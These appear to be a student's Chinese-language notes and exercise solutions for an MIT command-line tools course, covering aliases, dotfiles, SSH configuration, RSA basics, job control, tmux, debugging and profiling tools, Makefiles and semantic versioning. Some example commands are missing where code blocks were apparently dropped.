alias命令用于为其他命令创建别名。通过使用alias,我们可以为常用的命令指定一个简短的名称,从而提高工作效率。例如,输入alias ll='ls -la'可以将ll设置为ls -la的别名,这样每次输入ll时就会执行ls -la命令。使用alias ll命令可以查看ll的别名。使用alias命令可以查看所有别名。然后使用unalias命令来取消别名。
通过alias命令,我们可以为常用的命令指定一个简短的名称,从而提高工作效率。
但是当我们拥有的别名越来越多时,总不能每一次打开终端都输入一遍这些别名吧。
这时候,我们就可以使用dotfiles来管理这些别名,这就是dotfiles的用途之一
Dotfiles是指以.开头的配置文件,这些文件通常用于存储用户的个性化设置和配置。常见的dotfiles包括.bashrc、.vimrc、.gitconfig等。
通过管理和定制这些dotfiles,我们可以在不同的系统和环境中保持一致的工作环境。例如,我们可以在.bashrc中定义别名、环境变量和函数,在.vimrc中配置Vim编辑器的行为和外观,在.gitconfig中设置Git的用户信息和别名。
Note
在bash中,~/.bashrc是用户的主配置文件,当用户登录时,bash会读取这个文件。
在zsh中,~/.zshrc是用户的主配置文件,当用户登录时,zsh会读取这个文件。
例如我们想要在bash中定义一个别名ll,我们可以在~/.bashrc中添加以下内容:
然后启动bash,输入ll,就会看到ls -la的输出。
目前比较美观的dotfiles管理工具是oh-my-zsh,它可以帮助我们管理zsh的配置文件。支持很多插件和主题。可以参考oh-my-zsh。
Github上有很多人热衷于配置并分享自己的dotfiles,也可以去上面找一个自己喜欢的配置。
也存在专门 dotfiles的网站,可以参考Dotfile.github.io。
Remote machines¶
ssh(Secure Shell)是一种用于在不安全的网络上安全地访问远程计算机的协议。它提供了加密的通信通道,确保数据的安全性和完整性。ssh通常用于远程登录、文件传输和执行命令。
要连接到远程机器,可以使用以下命令:
username是你在远程机器上的用户名。hostname是远程机器的地址,可以是IP地址或域名。
例如,要连接到IP地址为192.168.1.10的机器,使用用户名user,可以输入:
可以使用ssh直接在远程机器上执行命令,而不需要登录到远程终端。命令的语法如下:
例如,要在远程机器上查看当前目录的内容,可以使用:
这会在远程机器上执行ls -la命令,并将结果返回到本地终端。
为了提高安全性,可以使用SSH密钥进行身份验证。SSH密钥由一对密钥组成:公钥和私钥。公钥存储在远程机器上,私钥保存在本地机器上。
可以使用以下命令生成SSH密钥对:
-t rsa指定密钥类型为RSA。-b 4096指定密钥长度为4096位。-C "your_email@example.com"添加注释(通常是你的邮箱)。
生成的密钥对通常存储在~/.ssh/目录下,公钥文件为id_rsa.pub,私钥文件为id_rsa。
将公钥添加到远程机器的~/.ssh/authorized_keys文件中,以便使用SSH密钥进行登录。
常用选项包括:
-p port:指定连接的端口号,默认是22。-i identity_file:指定私钥文件。-L local_port:remote_host:remote_port:设置本地端口转发。
可以使用scp命令通过SSH协议传输文件:
local_file是要传输的本地文件。remote_path是远程机器上的目标路径。
例如,将本地文件example.txt传输到远程机器的/home/user/目录:
ssh加密
目前ssh加密使用的是RSA加密算法。
RSA(Rivest-Shamir-Adleman)算法是一种非对称加密算法,由Ron Rivest、Adi Shamir和Leonard Adleman在1977年提出。非对称加密算法使用一对密钥:公钥和私钥。公钥用于加密,私钥用于解密。
RSA算法的安全性基于大整数分解的困难性。具体来说,RSA算法依赖于两个大质数的乘积难以分解这一数学难题。RSA算法的基本步骤为:
-
生成密钥对:
- 选择两个大质数 \( p \) 和 \( q \)。
- 计算它们的乘积 \( n = p \times q \),其中 \( n \) 是模数。
- 计算 \( \phi(n) = (p-1) \times (q-1) \)。
- 选择一个与 \( \phi(n) \) 互质的整数 \( e \),其中 \( e \) 是公钥指数。
- 计算 \( d \) 使得 \( d \times e \equiv 1 \mod \phi(n) \),其中 \( d \) 是私钥指数。
-
公钥和私钥:
- 公钥由 \( (e, n) \) 组成。
- 私钥由 \( (d, n) \) 组成。
-
加密:
- 将明文消息 \( M \) 转换为整数 \( m \),其中 \( 0 \leqslant m < n \)。
- 使用公钥 \( (e, n) \) 进行加密,计算密文 \( c \):
\[ c \equiv m^e \mod n \] -
解密:
- 使用私钥 \( (d, n) \) 进行解密,计算明文 \( m \):
\[ m \equiv c^d \mod n \]
Exercise&Solutions¶
Job Control¶
1.From what we have seen, we can use some
ps aux | grep commands to get our jobs’ pids and then kill them,
but there are better ways to do it. Start a sleep 10000 job in
a terminal, background it with Ctrl-Z and continue its execution with bg.
Now use pgrep to find its pid and pkill to kill it without ever typing the pid itself. (Hint: use the -af flags).
即使用pgrep和pkill来找到进程的pid并杀死它,而不需要手动输入pid。
ps aux | grep
ps aux | grep 命令用于显示所有进程的详细信息,并根据指定的条件过滤进程。
ps aux:显示所有进程的详细信息。grep:根据指定的条件过滤进程。 通过pipe(|)将ps aux的输出作为grep的输入,然后根据条件过滤进程。
首先了解一下pgrep和pkill的用法。
pgrep 和 pkill 是两个非常有用的命令行工具,用于在 Unix 和 Linux 系统上管理进程。
pgrep 用于查找与指定模式匹配的进程 ID。
常用选项:
- -f: 匹配完整的命令行,而不仅仅是进程名。
- -l: 显示进程名和进程 ID。
- -a: 显示完整的命令行。
- -u user: 只显示属于指定用户的进程。
示例:
这将查找所有命令行中包含“sleep”的进程。pkill 用于根据名称或其他属性终止进程。
-f: 匹配完整的命令行。
- -u user: 只终止属于指定用户的进程。
-signal: 发送指定的信号(如-9代表SIGKILL)。
知道之后,接下来就是简单地验证命令了。
2.Say you don’t want to start a process until another completes. How would you go about it? In this exercise, our limiting process will always be sleep 60 &. One way to achieve this is to use the wait command. Try launching the sleep command and having an ls wait until the background process finishes.
However, this strategy will fail if we start in a different bash session, since wait only works for child processes. One feature we did not discuss in the notes is that the kill command’s exit status will be zero on success and nonzero otherwise. kill -0 does not send a signal but will give a nonzero exit status if the process does not exist. Write a bash function called pidwait that takes a pid and waits until the given process completes. You should use sleep to avoid wasting CPU unnecessarily.
即我们想要在另一个进程完成之后再启动一个进程,我们可以使用wait命令。
例如我们想要在sleep 60 &完成之后再启动ls,我们可以使用wait命令。
但是wait命令只适用于子进程,所以如果我们在不同的bash session中启动进程,这个方法就会失败。
一个课上没有讨论的特性是kill命令的退出状态,当成功时为0,否则为非0。kill -0不会发送信号,但当进程不存在时会返回非0的退出状态。
所以我们可以使用kill -0来检查进程是否存在,如果存在则等待,否则直接执行。
2>&1。
Terminal multiplexer¶
Follow this tmux tutorial and then learn how to do some basic customizations following these steps.
配置的话我只把Ctrl+B改成了Ctrl+A
水平分割从"改成了-
垂直分割从%改成了|
配置完后重启tmux命令即可生效
Aliases¶
1.Create an alias dc that resolves to cd for when you type it wrongly.
即创建一个别名dc,当输入dc时,会自动解析为cd。
2.Run history | awk '{$1="";print substr($0,2)}' | sort | uniq -c | sort -n | tail -n 10 to get your top 10 most used commands and consider writing shorter aliases for them. Note: this works for Bash; if you’re using ZSH, use history 1 instead of just history.
即获取你最常用的10个命令,并考虑为它们写更短的别名。
我最主要用的是
我想把它简写为
放在了我的~/.zshrc文件中。
Dotfiles的习题主要是给配置添加软连接到本地的文件,不做赘述
Remote machines¶
Install a Linux virtual machine (or use an already existing one) for this exercise. If you are not familiar with virtual machines check out this tutorial for installing one.
即安装一个Linux虚拟机(或使用已有的虚拟机),如果对虚拟机不熟悉,可以参考这个教程Installing a virtual machine。
其实我之前一直都搞不懂ssh的配置文件,做完这道题简直是大彻大悟了。
现在,我有一台windows电脑,安装了linux虚拟机;现在我想要直接通过ssh vm连接到虚拟机.
首先,在windows的~/.ssh文件夹下创建一个config文件,添加以下内容:
Host vm
User username_goes_here
HostName ip_goes_here
IdentityFile ~/.ssh/id_xxxx
LocalForward 9999 localhost:8888
这里的Host就是远端机器,在这里就是我的虚拟机。
User就是我的用户名,注意这个用户名在虚拟机中必须要存在。
HostName就是我的虚拟机的ip地址
IdentityFile就是我的私钥文件,在这里就是我的私钥文件。
然后在Windows中通过ssh-copy-id vm将我的公钥复制到虚拟机中。
如果powershell中没有
ssh-copy-id,可以直接去虚拟机中将对应的公钥内容添加到~/.ssh/authorized_keys文件中。
然后就大功告成了,现在就可以直接通过ssh vm连接到虚拟机了。
调试与性能分析¶
约 3960 个字 183 行代码 1 张图片 预计阅读时间 16 分钟
代码不能完全按照您的想法运行,它只能完全按照您的写法运行,这是编程界的一条金科玉律。
这节课主要是了解一些工具,"you don't have to become a master of all these tools,just know that there exits such tools so you can use instead of doing some unnecessary works"
调试代码¶
打印与日志¶
打印调试法,即Print大法,由于其可以得到快速而直观的反馈,是大多数人十分喜爱的一种调试方法
另外一个方法是使用日志,而不是临时添加打印语句。日志较普通的打印语句有如下的一些优势:
- 可以将日志写入文件、socket 或者甚至是发送到远端服务器而不仅仅是标准输出;
- 日志可以支持严重等级(例如 INFO, DEBUG, WARN, ERROR 等),这使您可以根据需要过滤日志;
- 对于新发现的问题,很可能您的日志中已经包含了可以帮助您定位问题的足够的信息。
例如以下这个python程序
import logging
import sys
class CustomFormatter(logging.Formatter):
"""Logging Formatter to add colors and count warning / errors"""
grey = "\x1b[38;21m"
yellow = "\x1b[33;21m"
red = "\x1b[31;21m"
bold_red = "\x1b[31;1m"
reset = "\x1b[0m"
format = "%(asctime)s - %(name)s - %(levelname)s - %(message)s (%(filename)s:%(lineno)d)"
FORMATS = {
logging.DEBUG: grey + format + reset,
logging.INFO: grey + format + reset,
logging.WARNING: yellow + format + reset,
logging.ERROR: red + format + reset,
logging.CRITICAL: bold_red + format + reset
}
def format(self, record):
log_fmt = self.FORMATS.get(record.levelno)
formatter = logging.Formatter(log_fmt)
return formatter.format(record)
# create logger with 'spam_application'
logger = logging.getLogger("Sample")
# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
if len(sys.argv)> 1:
if sys.argv[1] == 'log':
ch.setFormatter(logging.Formatter('%(asctime)s : %(levelname)s : %(name)s : %(message)s'))
elif sys.argv[1] == 'color':
ch.setFormatter(CustomFormatter())
if len(sys.argv) > 2:
logger.setLevel(logging.__getattribute__(sys.argv[2]))
else:
logger.setLevel(logging.DEBUG)
logger.addHandler(ch)
# logger.debug("debug message")
# logger.info("info message")
# logger.warning("warning message")
# logger.error("error message")
# logger.critical("critical message")
import random
import time
for _ in range(100):
i = random.randint(0, 10)
if i <= 4:
logger.info("Value is {} - Everything is fine".format(i))
elif i <= 6:
logger.warning("Value is {} - System is getting hot".format(i))
elif i <= 8:
logger.error("Value is {} - Dangerous region".format(i))
else:
logger.critical("Maximum value reached")
time.sleep(0.3)
$ python logger.py
# Raw output as with just prints
$ python logger.py log
# Log formatted output
$ python logger.py log ERROR
# Print only ERROR levels and above
$ python logger.py color
# Color formatted output
这会依次打印出不同形式的log.
我们也可以使用彩色文本来显示终端信息,使其可读性更好.
ls 和 grep 这样的程序会使用 ANSI escape codes,它是一系列的特殊字符,可以使您的 shell 改变输出结果的颜色.
只要终端支持真彩色(即使用RGB24位色深来表示颜色)
那么这个命令就会打印出红色.
如果想要打印其它颜色.
则基本语法为
如果不支持真彩色,那么可以使用16色(4位色深)
第三方日志系统¶
如果您正在构建大型软件系统,您很可能会使用到一些依赖,有些依赖会作为程序单独运行。如 Web 服务器、数据库或消息代理都是此类常见的第三方依赖。
和这些系统交互的时候,阅读它们的日志是非常必要的,因为仅靠客户端侧的错误信息可能并不足以定位问题。
幸运的是,大多数的程序都会将日志保存在您的系统中的某个地方。对于 UNIX 系统来说,程序的日志通常存放在 /var/log。例如, NGINX web 服务器就将其日志存放于 /var/log/nginx。
目前,系统开始使用 system log ,您所有的日志都会保存在这里。大多数(但不是全部的)Linux 系统都会使用 systemd,这是一个系统守护进程,它会控制您系统中的很多东西,例如哪些服务应该启动并运行。systemd 会将日志以某种特殊格式存放于 /var/log/journal,您可以使用 journalctl 命令显示这些消息。
类似地,在 macOS 系统中是 /var/log/system.log,但是有更多的工具会使用系统日志,它的内容可以使用 log show 显示。
对于大多数的 UNIX 系统,您也可以使用 dmesg 命令来读取内核的日志。
如果希望将日志加入到系统日志中,您可以使用 logger 这个 shell 程序。
日志的内容可以非常的多,我们需要对其进行处理和过滤才能得到我们想要的信息。
如果需要对 journalctl 和 log show 的结果进行大量的过滤,那么此时可以考虑使用它们自带的选项对其结果先过滤一遍再输出。还有一些像 lnav 这样的工具,它为日志文件提供了更好的展现和浏览方式。
lnav¶
lnav 是一个专为命令行设计的 高级日志文件查看与分析工具,支持实时日志跟踪、语法高亮、自动时间戳解析、日志格式识别、多文件合并分析等功能。它特别适合开发者、运维人员处理复杂的日志文件,能显著提升日志分析的效率。
可同时打开多个日志文件(如 access.log、error.log),并自动按时间顺序合并显示。
类似 tail -f,但支持语法高亮和实时过滤:
- 自动识别常见日志格式(如 Apache、Nginx、Syslog、JSON 等)。
- 对日志级别(INFO、WARNING、ERROR)进行颜色标记。
- 解析时间戳、IP 地址、URL 等结构化字段。
按时间轴展示日志,支持快速跳转到指定时间点(按 t 键)。
- 快速过滤特定级别的日志(如仅显示
ERROR)。 - 正则表达式搜索(按
/输入关键字)。 - 支持 SQL 查询日志内容(需学习简单语法)。
支持通过 SQL 语句对日志进行统计,例如统计 HTTP 状态码出现次数:
调试器¶
当通过打印已经不能满足您的调试需求时,您应该使用调试器。
调试器是一种可以允许我们和正在执行的程序进行交互的程序,它可以做到:
- 当到达某一行时将程序暂停;
- 一次一条指令地逐步执行程序;
- 程序崩溃后查看变量的值;
- 满足特定条件时暂停程序;
- 其他高级功能。
很多编程语言都有自己的调试器。Python 的调试器是 pdb.ipdb是一种增强版的 pdb 它使用 IPython 作为 REPL 并开启了 tab 补全、语法高亮、更好的回溯和更好的内省,同时还保留了 pdb 模块相同的接口。
pdb支持的命令有
l(ist) - 显示当前行附近的 11 行或继续执行之前的显示;s(tep) - 执行当前行,并在第一个可能的地方停止;n(ext) - 继续执行直到当前函数的下一条语句或者 return 语句;b(reak) - 设置断点(基于传入的参数);p(rint) - 在当前上下文对表达式求值并打印结果。还有一个命令是pp,它使用 pprint 打印;r(eturn) - 继续执行直到当前函数返回;q(uit) - 退出调试器。
对于更加底层的编程语言gdb(及其改进版pwndbg)和lldb,它们都对类 C 语言的调试进行了优化,它允许您探索任意进程及其机器状态:寄存器、堆栈、程序计数器等。
专门工具¶
即使您需要调试的程序是一个二进制的黑盒程序,仍然有一些工具可以帮助到您。当您的程序需要执行一些只有操作系统内核才能完成的操作时,它需要使用 系统调用。有一些命令可以帮助您追踪您的程序执行的系统调用。在 Linux 中可以使用 strace ,在 macOS 和 BSD 中可以使用 dtrace。
系统调用
系统调用是操作系统提供的一组接口,允许用户空间的程序请求操作系统内核提供的服务。这些服务包括进程控制、文件操作、系统控制和网络管理等。系统调用作为用户程序与操作系统之间的桥梁,使得用户程序无需直接与硬件交互,从而提高了程序的可移植性和系统的安全性。
静态分析¶
有些问题是您不需要执行代码就能发现的。例如,仔细观察一段代码,您就能发现某个循环变量覆盖了某个已经存在的变量或函数名;或是有个变量在被读取之前并没有被定义。 这种情况下 静态分析 工具就可以帮我们找到问题。静态分析会将程序的源码作为输入然后基于编码规则对其进行分析并对代码的正确性进行推理。
import time
def foo():
return 42
for foo in range(5):
print(foo)
bar = 1
bar *= 0.2
time.sleep(60)
print(baz)
例如使用pyflakes分析这段代码(eg.py),会返回
mypy 则是另外一个工具,它可以对代码进行类型检查。这里,mypy 会经过我们 bar 起初是一个 int ,然后变成了 float。这些问题都可以在不运行代码的情况下被发现。
eg.py:6: error: Incompatible types in assignment (expression has type "int", variable has type "Callable[[], Any]")
eg.py:9: error: Incompatible types in assignment (expression has type "float", variable has type "int")
eg.py:11: error: Name "baz" is not defined
Found 3 errors in 1 file (checked 1 source file)
在shell工具中,我们使用了shellcheck来静态分析shell脚本,大多数的编辑器和 IDE 都支持在编辑界面显示这些工具的分析结果、高亮有警告和错误的位置。 这个过程通常称为 code linting 。风格检查或安全检查的结果同样也可以进行相应的显示。在 vim 中,有 ale 或 syntastic 可以帮助您做同样的事情。 在 Python 中, pylint 和 pep8 是两种用于进行风格检查的工具,而 bandit 工具则用于检查安全相关的问题。
对于风格检查和代码格式化,还有以下一些工具可以作为补充:用于 Python 的 black、用于 Go 语言的 gofmt、用于 Rust 的 rustfmt 或是用于 JavaScript, HTML 和 CSS 的 prettier 。这些工具可以自动格式化您的代码,这样代码风格就可以与常见的风格保持一致。 尽管您可能并不想对代码进行风格控制,标准的代码风格有助于方便别人阅读您的代码,也可以方便您阅读它的代码。
Vscode也有自动格式化代码的功能快捷键。
其它语言的静态分析工具可以参考这里
性能分析¶
时间¶
和调试代码类似,大多数情况下我们只需要打印两处代码之间的时间即可发现问题
import time, random
n = random.randint(1, 10) * 100
# 获取当前时间
start = time.time()
# 执行一些操作
print("Sleeping for {} ms".format(n))
time.sleep(n/1000)
# 比较当前时间和起始时间
print(time.time() - start)
不过电脑可能在同时运行其它进程,也有可能在进行等待,对于工具来说,需要区分真实时间、用户时间和系统时间。通常来说,用户时间 + 系统时间代表了您的进程所消耗的实际 CPU
- 真实时间:程序开始到结束流失掉的真实时间,包括其他进程的执行时间以及阻塞消耗的时间(例如等待 I/O 或网络)
- 用户时间 User - CPU 执行用户代码所花费的时间;
- 系统时间 Sys - CPU 执行系统内核代码所花费的时间。
例如,试着执行一个用于发起 HTTP 请求的命令并在其前面添加 time 前缀。网络不好的情况下您可能会看到下面的输出结果。请求花费了 2s 多才完成,但是进程仅花费了 15ms 的 CPU 用户时间和 12ms 的 CPU 内核时间。
CPU profilers¶
大多数情况下,当人们提及性能分析工具的时候,通常指的是 CPU 性能分析工具。 CPU 性能分析工具有两种: 追踪分析器(tracing)及采样分析器(sampling)。 追踪分析器 会记录程序的每一次函数调用,而采样分析器则只会周期性的监测(通常为每毫秒)您的程序并记录程序堆栈。它们使用这些记录来生成统计信息,显示程序在哪些事情上花费了最多的时间。
在 Python 中,我们使用 cProfile 模块来分析每次函数调用所消耗的时间。
#!/usr/bin/env python
import sys, re
def grep(pattern, file):
with open(file, 'r') as f:
print(file)
for i, line in enumerate(f.readlines()):
pattern = re.compile(pattern)
match = pattern.search(line)
if match is not None:
print("{}: {}".format(i, line), end="")
if __name__ == '__main__':
times = int(sys.argv[1])
pattern = sys.argv[2]
for i in range(times):
for file in sys.argv[3:]:
grep(pattern, file)
我们可以使用下面的命令来对这段代码进行分析。通过它的输出我们可以知道,IO 消耗了大量的时间,编译正则表达式也比较耗费时间。因为正则表达式只需要编译一次,我们可以将其移动到 for 循环外面来改进性能。
关于 Python 的 cProfile 分析器(以及其他一些类似的分析器),需要注意的是它显示的是每次函数调用的时间。看上去可能快到反直觉,尤其是如果您在代码里面使用了第三方的函数库,因为内部函数调用也会被看作函数调用。
更加符合直觉的显示分析信息的方式是包括每行代码的执行时间,这也是 行分析器 的工作。例如,下面这段 Python 代码会向本课程的网站发起一个请求,然后解析响应返回的页面中的全部 URL:
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
# 这个装饰器会告诉行分析器
# 我们想要分析这个函数
@profile
def get_urls():
response = requests.get('https://missing.csail.mit.edu')
s = BeautifulSoup(response.content, 'lxml')
urls = []
for url in s.find_all('a'):
urls.append(url['href'])
if __name__ == '__main__':
get_urls()
使用行分析器
> kernprof -l -v url.py
Wrote profile results to url.py.lprof
Timer unit: 1e-06 s
Total time: 1.52245 s
File: url.py
Function: get_urls at line 8
Line # Hits Time Per Hit % Time Line Contents
==============================================================
8 @profile
9 def get_urls():
10 1 1509897.0 1509897.0 99.2 response = requests.get('https://missing.csail.mit.edu')
11 1 12178.0 12178.0 0.8 s = BeautifulSoup(response.content, 'lxml')
12 1 0.0 0.0 0.0 urls = []
13 48 341.0 7.1 0.0 for url in s.find_all('a'):
14 47 30.0 0.6 0.0 urls.append(url['href'])
内存¶
像 C 或者 C++ 这样的语言,内存泄漏会导致您的程序在使用完内存后不去释放它。为了应对内存类的 Bug,我们可以使用类似 Valgrind 这样的工具来检查内存泄漏问题。
对于 Python 这类具有垃圾回收机制的语言,内存分析器也是很有用的,因为对于某个对象来说,只要有指针还指向它,那它就不会被回收。
@profile
def my_func():
a = [1] * (10 ** 6)
b = [2] * (2 * 10 ** 7)
del b
return a
if __name__ == '__main__':
my_func()
> python3 -m memory_profiler mem.py
Filename: mem.py
Line # Mem usage Increment Occurrences Line Contents
=============================================================
1 40.828 MiB 40.828 MiB 1 @profile
2 def my_func():
3 48.363 MiB 7.535 MiB 1 a = [1] * (10 ** 6)
4 200.906 MiB 152.543 MiB 1 b = [2] * (2 * 10 ** 7)
5 48.551 MiB -152.355 MiB 1 del b
6 48.551 MiB 0.000 MiB 1 return a
事件分析¶
在我们使用 strace 调试代码的时候,您可能会希望忽略一些特殊的代码并希望在分析时将其当作黑盒处理。perf 命令将 CPU 的区别进行了抽象,它不会报告时间和内存的消耗,而是报告与您的程序相关的系统事件。
例如,perf 可以报告不佳的缓存局部性(poor cache locality)、大量的页错误(page faults)或活锁(livelocks)。下面是关于常见命令的简介:
- perf list - 列出可以被 pref 追踪的事件;
- perf stat COMMAND ARG1 ARG2 - 收集与某个进程或指令相关的事件;
- perf record COMMAND ARG1 ARG2 - 记录命令执行的采样信息并将统计数据储存在 perf.data 中;
- perf report - 格式化并打印 perf.data 中的数据。
可视化¶
使用分析器来分析真实的程序时,由于软件的复杂性,其输出结果中将包含大量的信息。人类是一种视觉动物,非常不善于阅读大量的文字。因此很多工具都提供了可视化分析器输出结果的功能。
对于采样分析器来说,常见的显示 CPU 分析数据的形式是 火焰图,火焰图会在 Y 轴显示函数调用关系,并在 X 轴显示其耗时的比例。火焰图同时还是可交互的,您可以深入程序的某一具体部分,并查看其栈追踪。
调用图和控制流图可以显示子程序之间的关系,它将函数作为节点并把函数调用作为边。将它们和分析器的信息(例如调用次数、耗时等)放在一起使用时,调用图会变得非常有用,它可以帮助我们分析程序的流程。 在 Python 中您可以使用 pycallgraph 来生成这些图片。
资源监控¶
有时候,分析程序性能的第一步是搞清楚它所消耗的资源。程序变慢通常是因为它所需要的资源不够了。例如,没有足够的内存或者网络连接变慢的时候。
有很多很多的工具可以被用来显示不同的系统资源,例如 CPU 占用、内存使用、网络、磁盘使用等。
如果您希望测试一下这些工具,您可以使用 stress 命令来为系统人为地增加负载。
如果想要进行基准测试并依此对软件选择进行评估。 类似 hyperfine 这样的命令行可以帮您快速进行基准测试。例如,我们在 shell 工具和脚本那一节课中我们推荐使用 fd 来代替 find,们这里可以用 hyperfine 来比较一下它们。
$ hyperfine --warmup 3 'fd -e jpg' 'find . -iname "*.jpg"'
Benchmark #1: fd -e jpg
Time (mean ± σ): 51.4 ms ± 2.9 ms [User: 121.0 ms, System: 160.5 ms]
Range (min … max): 44.2 ms … 60.1 ms 56 runs
Benchmark #2: find . -iname "*.jpg"
Time (mean ± σ): 1.126 s ± 0.101 s [User: 141.1 ms, System: 956.1 ms]
Range (min … max): 0.975 s … 1.287 s 10 runs
Summary
'fd -e jpg' ran
21.89 ± 2.33 times faster than 'find . -iname "*.jpg"'
Metaprogramming¶
约 3187 个字 78 行代码 预计阅读时间 12 分钟
本次主要讨论的是元编程,然而,虽然其名为元编程,其内容更加关注的是 流程 而不是编程本身。本次课主要从学习如何构建系统,代码测试以及依赖管理...
构建系统¶
如果使用 $ \LaTeX $ 来编写论文,需要执行哪些命令才能编译出我们想要的论文呢?执行基准测试、绘制图表然后将其插入论文的命令又有哪些?或者,如何编译某课程提供的代码并执行测试呢?
对于大多数系统来说,不论其是否包含代码,通常都会包含一个 “构建过程” ,例如从 \(\LaTeX\) 源代码到 PDF 文件的转换过程。执行一些命令来生成图表,然后执行另外的命令来生成结果,最再执行其它的命令来生成最终的论文,有很多事情需要完成,如果每次更新都需要一步步重复这些过程,这将很令人苦恼...
名为"构建系统"的工具可以帮助我们自动化这些过程,例如 make、cmake、scons、ninja 等等。这些工具可以帮助我们定义一系列的规则,然后根据这些规则来执行一系列的命令,从而生成我们想要的结果。
这些工具都是非常类似的。我们需要定义 依赖、目标 和 规则。我们必须告诉构建系统我们具体的构建目标,系统的任务则是找到构建这些目标所需要的依赖,并根据规则构建所需的中间产物,直到最终目标被构建出来。理想的情况下,如果目标的依赖没有发生改动,并且我们可以从之前的构建中复用这些依赖,那么与其相关的构建规则并不会被执行。
make是最常用的构建系统之一,我们会发现它通常被安装到了几乎所有基于 UNIX 的系统中。make 并不完美,但是对于中小型项目来说,它已经足够好了。当您执行 make 时,它会去参考当前目录下名为 Makefile 的文件。所有构建目标、相关依赖和规则都需要在该文件中定义,它看上去是这样的:
例如
paper.pdf: paper.tex plot-data.png
pdflatex paper.tex
plot-%.png: %.dat plot.py
./plot.py -i $*.dat -o $@
这段 Makefile 代码描述了两个规则,它们的作用分别如下:
paper.pdf: paper.tex plot-data.png
这个规则的含义是,如果你需要生成 paper.pdf 文件,那么需要先生成 paper.tex 和 plot-data.png。
pdflatex 工具编译 paper.tex 文件,生成 paper.pdf 文件。注意,如果 paper.tex 或 plot-data.png 文件有更新,make 会重新执行这个命令。
plot-%.png: %.dat plot.py
这个规则的作用是生成以 plot- 为前缀的 PNG 图像文件(例如 plot-something.png),图像文件的生成依赖于对应的 .dat 数据文件和一个 Python 脚本 plot.py。
规则中的命令:
$*表示匹配模式中的通配符部分,这里会替换为%.dat中的文件名部分(比如data会变成data.dat)。$@是目标文件的名称,即生成的plot-*.png文件。
因此,假设你有一个 data.dat 文件,make 会调用 plot.py,并传递参数:-i data.dat 和 -o plot-data.png,最终生成 plot-data.png 文件。
Example¶
现在,如果我们直接执行make,其会默认执行第一个规则,即生成 paper.pdf 文件。如果我们只想生成 plot-data.png 文件,可以执行 make plot-data.png。如果我们想生成 plot-something.png 文件,可以执行 make plot-something.png。
这告诉我们,make 需要 paper.tex 文件,但是我们没有提供它。我们可以通过执行 touch paper.tex 来创建一个空的 paper.tex 文件,然后再次执行 make。
$ touch paper.tex
$ make
make: *** No rule to make target 'plot-data.png', needed by 'paper.pdf'. Stop.
$ cat paper.tex
\documentclass{article}
\usepackage{graphicx}
\begin{document}
\includegraphics[scale=0.65]{plot-data.png}
\end{document}
$ cat plot.py
#!/usr/bin/env python
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-i', type=argparse.FileType('r'))
parser.add_argument('-o')
args = parser.parse_args()
data = np.loadtxt(args.i)
plt.plot(data[:, 0], data[:, 1])
plt.savefig(args.o)
$ cat data.dat
1 1
2 2
3 3
4 4
5 8
现在我们可以执行 make 来生成 paper.pdf 文件:
$ make
./plot.py -i data.dat -o plot-data.png
pdflatex paper.tex
This is pdfTeX, Version....
...
...
paper.pdf 文件,其中包含了我们的图表。
如果再次执行 make,make 会告诉我们 paper.pdf 是最新的,不需要重新生成。如果我们删除 plot-data.png 文件,再次执行 make,make 会重新生成 plot-data.png 文件,然后再次生成 paper.pdf 文件。事实上也应该这样,因为没有任何东西发生改变,所以 paper.pdf 文件也不应该被重新生成。
如果想要生成其它的图表,可以执行 make plot-something.png,make 会根据规则生成对应的图表。(确保something.data文件存在)
依赖管理¶
版本号¶
对于某些项目,它的依赖本身也有可能是其它的项目。我们也许会依赖某些程序(Python),某些系统包(openssl)或者某些编程语言的库(matplotlib)。这些依赖可能会有不同的版本,而且不同的项目可能会依赖于不同的版本。这就是依赖管理的问题。
由于每个仓库、每种工具的运行机制都不太一样,因此我们并不会在本节课深入讲解具体的细节。我们会介绍一些通用的术语,例如 版本控制。大多数被其他项目所依赖的项目都会在每次发布新版本时创建一个 版本号。通常看上去像 8.1.3 或 64.1.20192004。版本号一般是数字构成的,但也并不绝对。也有可能使用git的commit hash作为版本号。
版本号一个很重要的用途就是它可以保证项目可以运行,试想一下,假如我的库要发布一个新版本,在这个版本里面我重命名了某个函数。如果有人在我的库升级版本后,仍希望基于它构建新的软件,那么很可能构建会失败,因为它希望调用的函数已经不复存在了。有了版本控制就可以很好的解决这个问题,我们可以指定当前项目需要基于某个版本,甚至某个范围内的版本,或是某些项目来构建。这么做的话,即使某个被依赖的库发生了变化,依赖它的软件可以基于其之前的版本进行构建。
但是这还不够好,如果我修复了一写安全上的问题,但是没有更改任何借口(API),同时我也没有增加任何新的功能,但是这也应该是一个新的版本。那么问题就来了,如何去确定什么样的更新应该被认为是一个新的版本呢,换句话说,如何去确定版本与版本之间的区别大小呢?
一套常用的标准是 Semantic Versioning。语义化版本,这个标准定义了版本号的格式以及版本号的含义。一个版本号通常由三个数字构成,分别是 MAJOR.MINOR.PATCH。当我们发布一个新版本时,我们会根据我们的改动来决定如何更新这三个数字:
- 如果我们只是修复了一些 bug,那么我们会更新
PATCH版本号,(API不改变) - 如果我们增加的新的接口,但是不会破坏之前的接口(backward compatible),那么我们会更新
MINOR版本号。 - 如果我们改变了接口(non-backward-compatible),那么我们会更新
MAJOR版本号。即彻底改变了某个函数的功能,或者删除了某个函数等等。
例如,如果我们的项目依赖某个库的版本是 1.2.3,那么想要运行我们软件的该库的版本号的 MAJOR 版本号必须是 1,MINOR 版本号必须大于等于 2,PATCH版本号任意,但是一般来说高于等于 3。
虽然有可能2.x.x运行也有可能不会报错,但是也有可能会出现一些奇怪的结果。
就像Python2和Python3对于大部分程序是不兼容的,Python3.5能运行的Python3.7也可以运行,但是反过来3.7能运行的3.5就不一定能运行了。因为其可能用到了3.7新增的一些特性。
Lockfile¶
使用依赖管理系统的时候,也有可能遇到lock files(锁文件)这一概念,其例出了您当前每个依赖所对应的具体版本号
通常需要执行升级程序才能更新以来的版本,这样做有很多好处,例如避免不必要的重新编译,创建可以重现的构建环境,以及避免不必要的更新(Windows的自动更新就经常会导致一些问题)。
Vendoring¶
